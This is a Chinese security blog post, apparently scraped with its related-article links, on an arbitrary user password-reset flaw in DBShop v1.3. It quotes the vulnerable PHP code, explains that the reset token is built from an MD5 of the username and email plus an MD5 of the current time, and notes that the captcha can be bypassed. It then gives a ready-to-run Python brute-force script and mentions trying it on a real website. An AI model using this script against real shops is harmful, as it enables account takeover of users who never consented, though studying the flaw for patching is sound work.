0x00 前言

年也过的差不多了,各自也都回到岗位忙碌起来了,新的一年祝大家诸事顺利,洞洞高危!好了进入正题

0x01 漏洞简介

本次主要写个简单的逻辑漏洞!然后抛个Message 内置高危。

1、找回密码token爆破

0x02 漏洞分析

漏洞文件:\DBShop\module\Shopfront\src\Shopfront\Controller\UserController.php

漏洞函数:forgotpasswdAction

    public function forgotpasswdAction ()

    {

        if($this->getServiceLocator()->get('frontHelper')->getUserSession('user_id') != '')

            return $this->redirect()->toRoute('fronthome/default');

        $array = array();

        if($this->request->isPost()) {

            $postArray = $this->request->getPost()->toArray();

            $userInfo  = $this->getDbshopTable('UserTable')->infoUser(array('user_name'=>$postArray['user_name'], 'user_email'=>$postArray['user_email']));

            if(isset($userInfo->user_name) and $userInfo->user_name != '') {

                //生成唯一码及url

                $editCode    = md5($userInfo->user_name . $userInfo->user_email) . md5(time());

                $editUrl     = $this->getServiceLocator()->get('frontHelper')->dbshopHttpOrHttps() . $this->getServiceLocator()->get('frontHelper')->dbshopHttpHost() . $this->url()->fromRoute('frontuser/default', array('action'=>'forgotpasswdedit')) . '?editcode=' . $editCode;

                //发送的邮件内容

                $forgotEmail = array(

                    'send_user_name'=> $userInfo->user_name,

                    'send_mail'     => $userInfo->user_email,

                    'subject'       => $this->getServiceLocator()->get('frontHelper')->websiteInfo('shop_name') . $this->getDbshopLang()->translate('会员密码修改'),

                    'body'          => $this->getDbshopLang()->translate('亲爱的') . $userInfo->user_name . '<br>' . $this->getDbshopLang()->translate('您好,请点击下面的链接进行密码修改') . '<a href="'.$editUrl.'" target="_blank">'

                            . $this->getDbshopLang()->translate('点击修改密码 ') . '</a><br>' . $this->getDbshopLang()->translate('如果您无法点击修改链接,请复制下面的链接地址在浏览器中打开,完成密码修改 ') . '<br>' . $editUrl

                );

                try {

                    $this->getServiceLocator()->get('shop_send_mail')->toSendMail($forgotEmail);

                    $this->getDbshopTable('UserTable')->updateUser(array('user_forgot_passwd_code'=>$editCode),array('user_id'=>$userInfo->user_id));

                    $array['message'] = sprintf($this->getDbshopLang()->translate('已经向您的邮箱 %s 发送了一封邮件,请根据邮件内容完成新密码设定'), '<font color="red">' . $userInfo->user_email . '</font>');

                } catch (\Exception $e) {

                    $array['message'] = $this->getDbshopLang()->translate('无法向您的邮箱发送邮件,请联系管理员处理!');

                }

            } else {

                $array['message'] = $this->getDbshopLang()->translate('您输入的信息错误,没有匹配的会员信息!') . ' ' . $this->getDbshopLang()->translate('请重新输入') . '<a href="'.$this->url()->fromRoute('frontuser/default', array('action'=>'forgotpasswd')).'">' . $this->getDbshopLang()->translate('返回') . '</a>';

            }

        }

        return $array;

    }

这个就是找回密码的功能点,起初我看了下前端有校验验证码,然而不是在这个函数里面,可绕过。

这代码写的挺简陋的接受用户传入的post数据并赋值给$postArray数组,然后查询user_name和user_email存在则直接发送一个找回密码的token到用户邮箱。

看一下生成token的过程

$editCode  = md5($userInfo->user_name . $userInfo->user_email) . md5(time());

非常简单的加密方式无非一个time()。举个例子也就是md5(test112test112@qq.com).md5(1550392236)。可爆破

0x03 漏洞演示

http://127.0.0.20/user/forgotpasswd

发送一个重置密码链接到用户邮箱,我们可以手工去爆破!

Response 返回包这里有响应时间

Date: Sun, 17 Feb 2019 09:22:24 GMT

然而令我懵逼的是为什么是09而不是17,不过我们直接把09换成当前的时间就ok了,经测试分和秒都是正确的。这里我在代码处加了var_dump调试,可以看到正确的时间戳和token

在线时间戳转换工具:https://tool.lu/timestamp/

1550395544这个是调试出来的时间戳,和我们推出来的完全相同,就算不同也绝不会有太大的误差,当然还是要根据自己网络情况来判断。

在线php代码调试:

http://www.dooccn.com/php/#id/9c4b55cf81232b9702f0f0baa6490846

这个是我们自己生成的

b06ec31dcd4f115c77b5399bd51ba2b1b0355a5184e195713ebdb3768b6e21ed

原token

b06ec31dcd4f115c77b5399bd51ba2b1b0355a5184e195713ebdb3768b6e21ed

爆破成功。访问重置密码链接:

http://127.0.0.20/user/forgotpasswdedit?editcode=b06ec31dcd4f115c77b5399bd51ba2b1b0355a5184e195713ebdb3768b6e21ed

整个步骤完成,这个是我在本地环境演示的,当然遇到实际情况可能时间戳误差就会比较大。So写了一个脚本测试。

0x04 爆破脚本

#coding: gbk
import requests
import time
import hashlib class DbshopBlastCode(object): def __init__(self,user,email,url):
self.user=user
self.email=email
self.url=url
self.head={
"User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
"Content-Type": "application/x-www-form-urlencoded",
"Referer": "{0}/user/forgotpasswd".format(self.url),
"Cookie": "PHPSESSID=ebiu1g0obrlf6m9i8cs1ep9bd0",
"Upgrade-Insecure-Requests": ""
}
self.request=requests.session()
self.send() def buildExp(self):
timeList=[i for i in range(self.nowTime-100,self.nowTime+10)]
timeList.reverse()
md5List=[]
b = hashlib.md5()
b.update(self.user+self.email)
uMd5=b.hexdigest()
for i in timeList:
m = hashlib.md5()
m.update(str(i))
md5List.append(uMd5+m.hexdigest())
self.md5List=md5List
print(self.md5List)
self.fuzz() def send(self):
vailUrl="{0}/user/forgotpasswd".format(self.url)
vailData="user_name={0}&user_email={1}&captcha_code=111".format(self.user,self.email)
try:
result=self.request.post(vailUrl,data=vailData,headers=self.head)
if '<font color="red">'+self.email+'</font>' in result.content:
self.nowTime=int(time.time())
print('ok')
self.buildExp()
else:
print('Url error http://hostname/. Url format is http://hostname ')
print('false')
except Exception as e:
print(e) def fuzz(self):
for i in self.md5List:
url = "{0}/user/forgotpasswdedit?editcode={1}".format(self.url,i)
try:
result=self.request.get(url)
if 'input type="password" id="user_com_passwd" class="span3" name="user_com_passwd" placeho' in result.content:
print(url)
return
except Exception as e:
print(e,'fuzz')
return DbshopBlastCode('test112','test112@qq.com','http://127.0.0.20')

这里http://127.0.0.20 末尾不能加/不然会导致路由错误(404文件不存在)

这里我找了个网站做个演示:

0x05 结束

Dbshop v1.3任意用户密码重置漏洞的更多相关文章

  1. zzcms8.2#任意用户密码重置#del.php时间盲注#复现

    00x0 引言 早上起来,发现seebug更新了一批新的洞, 发现zzcms8.2这个洞好多人在挖,于是我就默默的踏上了复现之路(要不是点进去要买详情,我何必这么折腾~) 环境:zzcms8.2(产品 ...

  2. ZZCMS8.2 用户密码重置漏洞

    前言 一个找回密码处的逻辑漏洞, 还是有点意思的. 正文 首先是定位找回密码功能对应的代码位置,使用找回密码的功能,然后抓包即可 下面去 getpassword.php 里面看看, 首先包含了一些文件 ...

  3. 代码审计-DedeCMS-V5.7前台任意用户密码重置

    0x01 漏洞影响 该漏洞允许攻击者修改任意前台用户密码. 0x02 漏洞利用条件 1,开启会员模块 2,攻击者拥有一个正常的会员账号 3,目标没有设置安全问题 0x03 漏洞分析 漏洞文件:/mem ...

  4. 任意用户密码重置的十种姿势=====>学习笔记!

    原学习视频链接:https://www.butian.net/School/content?id=214%E2%80%98 1.验证码不失效 原因:获取的验证码缺少时间限制,仅判断验证码是否不正确而未 ...

  5. PHPCMS v9.6.0 任意用户密码重置

    参考来源:http://wooyun.jozxing.cc/static/bugs/wooyun-2016-0173130.html 他分析的好像不对.我用我的在分析一次. 先来看poc: /inde ...

  6. 【漏洞分析】dedecms有前提前台任意用户密码修改

     0x00 前言 早上浏览sec-news,发现锦行信息安全发布了一篇文章<[漏洞分析] 织梦前台任意用户密码修改>,看完之后就想着自己复现一下. 该漏洞的精髓是php的弱类型比较,'0. ...

  7. Metinfo 5.3.19管理员密码重置漏洞复现

     Metinfo 5.3.19管理员密码重置漏洞 操作系统:Windows 10专业版   kali linux  网站环境:UPUPW 5.3 使用工具:burpsuite 1.7 beta 漏洞分 ...

  8. Linux root用户密码重置,远程登陆,文件基本属性

    Linux root用户密码重置,远程登陆,文件基本属性 忘记Linux系统的root密码,linux系统忘记root密码的情况该怎么办呢?重新安装系统吗?当然不用!进入单用户模式更改一下root密码 ...

  9. PHPCMS v9.5.8-设计缺陷可重置前台任意用户密码

    验证.参考漏洞:http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0152291.html 漏洞出现在/phpcms/modules/member/in ...

随机推荐

  1. Effective C++(9) 构造函数调用virtual函数会发生什么

    问题聚焦: 不要在构造函数和析构函数中调用virtual函数,因为这样的调用不会带来你预想的结果. 让我先来看一下在构造函数里调用一个virtual函数会发生什么结果 Demo class Trans ...

  2. 定义类、System.Object对象、构造函数与析构函数、抽象类与静态类

    一.类定义 class MyClass { //类成员 } 1.访问级别 默认访问级别为internal(内部类),也可以是public(公共类) internal(内部类):当前项目中的代码才能访问 ...

  3. 020.2.3 math类

    内容:一个数的最小整数,平方,随机数其他数学上常用的,去API里面找些对象试一下,在Java.lang包里面 Math.ceil()返回一个大于这个小数的最小整数,比如12.56156,返回13 Ma ...

  4. 记录智能指针使用shared_ptr使用错误

    shared_ptr为智能指针,今天一次在使用shared_ptr时,错误的将其初始化方式写为shared_ptr<T> test = shared_ptr<T>(),随后导致 ...

  5. JavaScript的事件对象_滚轮事件

    用户在使用键盘时会触发键盘事件.“DOM2 级事件”最初规定了键盘事件,结果又删除了相应的内容.最终还是使用最初的键盘事件,不过 IE9 已经率先支持“DOM3”级键盘事件. 一.键码 在发生 key ...

  6. 【1】【MOOC】Python游戏开发入门-北京理工大学【第二部分-游戏开发之框架】

    学习地址链接:http://www.icourse163.org/course/0809BIT021E-1001873001?utm_campaign=share&utm_medium=and ...

  7. 四级菜单实现(Python)

    menu_dict = { '山东' : { '青岛' : { '四方':{'兴隆路','平安路','杭州路'}, '黄岛':{}, '崂山':{} }, '济南' : { '历城':{}, '槐荫' ...

  8. 2018-2019-2 网络对抗技术 20165322 Exp4 恶意代码分析

    2018-2019-2 网络对抗技术 20165322 Exp4 恶意代码分析 目录 实验内容与步骤 系统运行监控 恶意软件分析 实验过程中遇到的问题 基础问题回答 实验总结与体会 实验内容与步骤 系 ...

  9. PHP异步:在PHP中使用 fsockopen curl 实现类似异步处理的功能

    PHP从主流来看,是一门面向过程的语言,它的最大缺点就是无法实现多线程管理,其程序的执行都是从头到尾,按照逻辑一路执行下来,不可能出现分支,这一点是限制php在主流程序语言中往更高级的语言发展的原因之 ...

  10. java把行政区划放到一个节点树形中

    作者原创:转载请注明出处.https://www.cnblogs.com/yunqing/p/9486923.html 先放数据,t_city表 //津京冀地区行政区划数据 SET FOREIGN_K ...